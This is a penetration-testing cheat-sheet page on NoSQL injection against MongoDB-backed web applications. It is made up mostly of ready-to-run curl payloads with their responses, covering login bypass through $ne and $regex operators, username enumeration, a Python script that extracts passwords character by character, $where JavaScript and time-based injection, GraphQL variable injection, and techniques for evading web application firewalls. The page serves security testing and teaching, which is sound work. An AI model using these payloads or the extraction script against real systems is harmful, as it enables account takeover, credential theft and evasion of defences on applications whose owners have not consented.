Skip to content

NoSQL Injection

7 min read Created Sep 13, 2026 Last updated Sep 13, 2026

NoSQL injection targets web applications that pass user input into NoSQL database queries without proper sanitization. Unlike SQL injection, the attack uses database-specific operators and JSON structures rather than SQL syntax. MongoDB is the most common target, but the same class of vulnerability affects CouchDB, Couchbase, and other document stores. The injection surface is the web application layer: HTTP parameters, JSON POST bodies, and query strings that reach a database find or aggregate operation. The most common impact is authentication bypass, since login forms that query document stores are the primary target. For direct MongoDB shell exploitation, see the MongoDB operator injection page.

Authentication Bypass

The most common NoSQL injection outcome is authentication bypass. Web login forms that pass credentials directly into a MongoDB findOne() query are vulnerable when the application accepts structured input (JSON bodies or PHP-style array parameters) without type checking.

URL Parameter Injection

PHP and Express applications that parse query strings into arrays allow operator injection through bracket notation. The server interprets password[$ne]=x as {"password": {"$ne": "x"}}, which matches any document where the password is not x:

┌──(kali㉿kali)-[~]
└─$ curl -sk -X POST http://$TARGET_IP:$PORT/login --data-urlencode 'username=admin' --data-urlencode 'password[$ne]=x'
HTTP/1.1 302 Found
Location: /dashboard
Set-Cookie: session=eyJhbGciOiJIUzI1...
Explain command
-X POST Send a POST request to the target login endpoint.
--data-urlencode URL-encode the parameter value before sending.

A redirect to a dashboard or the presence of a session cookie confirms the bypass. The $ne operator makes the password condition match any value except x, effectively skipping password verification.

JSON Body Injection

Modern applications that accept JSON POST bodies are the primary target. When the backend passes the parsed JSON object directly into a MongoDB query, operator objects survive intact:

┌──(kali㉿kali)-[~]
└─$ curl -sk -X POST http://$TARGET_IP:$PORT/api/login -H 'Content-Type: application/json' -d '{"username":"admin","password":{"$ne":""}}'
{"success":true,"token":"eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiYWRtaW4ifQ..."}
Explain command
-H 'Content-Type: application/json' Set the request body format to JSON.
┌──(kali㉿kali)-[~]
└─$ curl -sk -X POST http://$TARGET_IP:$PORT/api/login -H 'Content-Type: application/json' -d '{"username":"admin","password":{"$regex":".*"}}'
{"success":true,"token":"eyJhbGciOiJIUzI1NiJ9..."}

The $regex payload .* matches any string, so it bypasses authentication the same way. If $ne is filtered, try $regex, $gt, or $exists as alternatives.

Enumerate Valid Usernames

When the application returns different responses for valid versus invalid usernames, combine $regex on the username field with a known-true password operator to enumerate users:

┌──(kali㉿kali)-[~]
└─$ curl -sk -X POST http://$TARGET_IP:$PORT/api/login -H 'Content-Type: application/json' -d '{"username":{"$regex":"^a"},"password":{"$ne":""}}'
{"success":true,"user":"admin"}

Iterate through starting characters to discover all usernames in the collection. A successful response for ^a but failure for ^b narrows the first character.

Operator Injection

MongoDB query operators are the building blocks of NoSQL injection. Each serves a different purpose depending on the injection context:

  • $ne (not equal): authentication bypass, always-true conditions. Payload: {"$ne":""}
  • $gt / $lt (greater/less than): bypass and range enumeration. {"$gt":""} matches any non-empty string.
  • $regex: pattern matching for data extraction and bypass. Supports anchored character-by-character extraction.
  • $where: JavaScript evaluation inside the query. Enables time-based extraction and complex logic. Disabled by default in MongoDB 4.4+ with restricted mode.
  • $exists: check if a field exists. {"$exists":true} matches all documents with that field. Useful when other operators are filtered.
  • $in: match any value in an array. {"$in":["admin","root","administrator"]} tests multiple usernames in one request.

When one operator is filtered, try others. Applications that block $ne often miss $gt or $regex. Test each operator systematically.

Data Extraction via Boolean

When the application returns different responses for matching versus non-matching queries (login success vs failure, different content, different status codes), extract data character by character using $regex. This is the NoSQL equivalent of blind SQL injection.

Start by determining the password length, then extract each character with an anchored regex pattern:

┌──(kali㉿kali)-[~]
└─$ curl -sk -X POST http://$TARGET_IP:$PORT/api/login -H 'Content-Type: application/json' -d '{"username":"admin","password":{"$regex":"^.{8}$"}}'
{"success":true}

A success response for ^.{8}$ confirms an 8-character password. Increment the count until the response flips.

Automate character extraction with a Python script:

import requests
import string

url = f"http://$TARGET_IP:$PORT/api/login"
charset = string.ascii_letters + string.digits + string.punctuation
password = ""
regex_password = ""

while True:
    found = False
    for c in charset:
        # Escape regex special characters
        escaped = c if c.isalnum() else f"\\{c}"
        payload = {
            "username": "admin",
            "password": {"$regex": f"^{regex_password}{escaped}"}
        }
        r = requests.post(url, json=payload, verify=False)
        if '"success":true' in r.text or r.status_code == 200:
            password += c
            regex_password += escaped
            print(f"[+] Found: {password}")
            found = True
            break
    if not found:
        break

print(f"[+] Password: {password}")

This sends one request per character per position. For large character sets, optimize by testing ranges first ([a-m] vs [n-z]) to reduce the request count. Watch for rate limiting: add a short delay between requests if the application throttles.

JavaScript Injection ($where)

The $where operator evaluates JavaScript expressions in the query context. When an application injects user input into a $where clause, the attacker can execute arbitrary JavaScript within the MongoDB query engine. This is the most dangerous operator injection variant, allowing both data extraction and time-based blind techniques.

┌──(kali㉿kali)-[~]
└─$ curl -sk -X POST http://$TARGET_IP:$PORT/api/login -H 'Content-Type: application/json' -d '{"username":"admin","$where":"this.password.match(/^a/) != null"}'
{"success":true}

If the login succeeds, the password starts with a. Use the same character-by-character approach as boolean blind extraction.

Time-Based Extraction

When boolean differences are not visible, use sleep() to create a measurable time delay. A delayed response confirms the condition is true:

┌──(kali㉿kali)-[~]
└─$ curl -sk -o /dev/null -w '%{time_total}' -X POST http://$TARGET_IP:$PORT/api/login -H 'Content-Type: application/json' -d '{"username":"admin","$where":"if(this.password.match(/^a/)){sleep(3000)}"}'
3.142

A response time above 3 seconds confirms the first character. A sub-second response means the character was wrong. Script this the same way as boolean extraction, replacing the success check with a response time threshold.

NoSQL Injection in JSON APIs

Modern REST and GraphQL APIs that accept JSON request bodies are the primary injection surface. Unlike traditional form-based applications where PHP or Express parse bracket notation into objects, JSON APIs allow direct operator injection because the JSON parser preserves nested objects by design.

Test any endpoint that accepts JSON input and queries a document store. Common targets:

  • Login and authentication endpoints
  • Search and filter endpoints (/api/users?filter={})
  • Password reset flows that look up users by email or token
  • API endpoints that accept query parameters as JSON objects
┌──(kali㉿kali)-[~]
└─$ curl -sk http://$TARGET_IP:$PORT/api/users -H 'Content-Type: application/json' -d '{"username":{"$regex":".*"},"role":"admin"}'
[{"username":"admin","email":"admin@target.local","role":"admin"}]

A response containing user data confirms the endpoint is vulnerable. Combine $regex with field-specific filters to extract records selectively.

GraphQL mutations and queries that forward variables into MongoDB operations are vulnerable the same way. Inject operators through GraphQL variables:

{
  "query": "mutation { login(username: $u, password: $p) { token } }",
  "variables": {
    "u": "admin",
    "p": {"$ne": ""}
  }
}

WAF Bypass Techniques

Web application firewalls and input filters that block common MongoDB operators can sometimes be evaded with alternative syntax and encoding.

Unicode Escaping

Replace ASCII characters in operator names with Unicode equivalents. Some parsers resolve Unicode escapes before the WAF inspects the input:

{"username":"admin","password":{"\u0024ne":""}}

\u0024 is the Unicode escape for $. If the JSON parser resolves escapes before the filter checks for $ne, the operator reaches the database intact.

Alternative Request Formats

If the WAF inspects JSON bodies, try URL-encoded form data with bracket notation instead (or vice versa). Some WAFs only filter one content type:

┌──(kali㉿kali)-[~]
└─$ curl -sk -X POST http://$TARGET_IP:$PORT/login -H 'Content-Type: application/x-www-form-urlencoded' --data-urlencode 'username=admin' --data-urlencode 'password[$ne]='

Nested Object Depth

Some filters check the top-level keys but not deeply nested structures. Wrapping operators inside additional objects can bypass shallow inspection:

{"username":"admin","password":{"$not":{"$eq":"invalid"}}}

The $not wrapper inverts the condition: not equal to invalid matches the real password. Filters that only block $ne at the first nesting level may miss this.

References